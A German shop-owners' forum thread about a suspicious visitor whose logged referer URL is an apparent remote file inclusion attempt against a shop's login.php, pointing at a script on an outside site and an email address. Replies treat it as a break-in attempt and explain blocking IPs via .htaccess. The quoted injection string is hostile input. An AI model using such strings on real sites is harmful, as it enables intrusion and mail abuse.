Seltsamer Gast im Shop

[kindspech]

Heute war ein seltsamer Gast online:

IP-Adresse koreanisch
Referer URL: /login.php?XTCsid=http://www.zoo-metelen.de/sender.txt?&server=www.kindspech.de/login.php?XTCsid=&to=xxx@gmail.com

Was heisst denn das? hat der Zoo Metelen einen Newsletter verschickt? die Google-Mailadresse hab ich ge-xxx-t, da steht eine richtige drin...

Viele Grüße
Natascha

[rivendarkness]

ja, klingt nach einem einbruchsversuch

[kindspech]

später war noch ein ähnlicher Gast online, gleiche Emailadresse in der Referer URL, aber andere Website (www.biomed.ua/)

besoners das "to" vor der Emailadresse macht mich stutzig...

kann denn nun was passieren???

[rivendarkness]

nein, soweit ich weiß ist der shop so ziemlich sicher und bietet wenig angriffsfläche

Die Datei http://www.zoo-metelen.de/sender.txt existiert nicht. Habe das auch im Shop. Das letzte mal kam die IP aus China. Habe sie gesperrt.

Hast Du überprüft welche IP das bei Dir war?

My2Cent
tuvalu

[kindspech]

hab beide Male einen Screenshot gemacht... waren aber unterschiedliche IPs. die Frage ist, ob das Sperren der IPs was bringt, denn das nächste Mal ist es vielleicht wieder eine andere...

wie funktioniert das Sperren eigentlich??

Zitat von kindspech

wie funktioniert das Sperren eigentlich??

An die .htaccess im root-Verzeichnis des Shops folgendes anhängen:

deny from 61.142.80.108

My2Cent
tuvalu

[kindspech]

hey danke!!!!

[kindspech]

genau die IP Adresse hatte ich nun auch zweimal online, ich kann dir noch diese anbieten: 211.233.68.233 - das ist die aus Korea..

Also Leutes, sperrt die beiden IPs! HIer sind Hacker unterwegs!

[Vio]

Hallo Natascha ,

hast Du Dir mal bot-trap angesehen.
Da sind die meisten dieser IP´s schon gesperrt.
Findest Du in Deinem Shop eine neue, meldest Du die an bot-trap und bei allen, die bot-trap nutzen,bleibt der Spammer draußen.

Grüße
Vio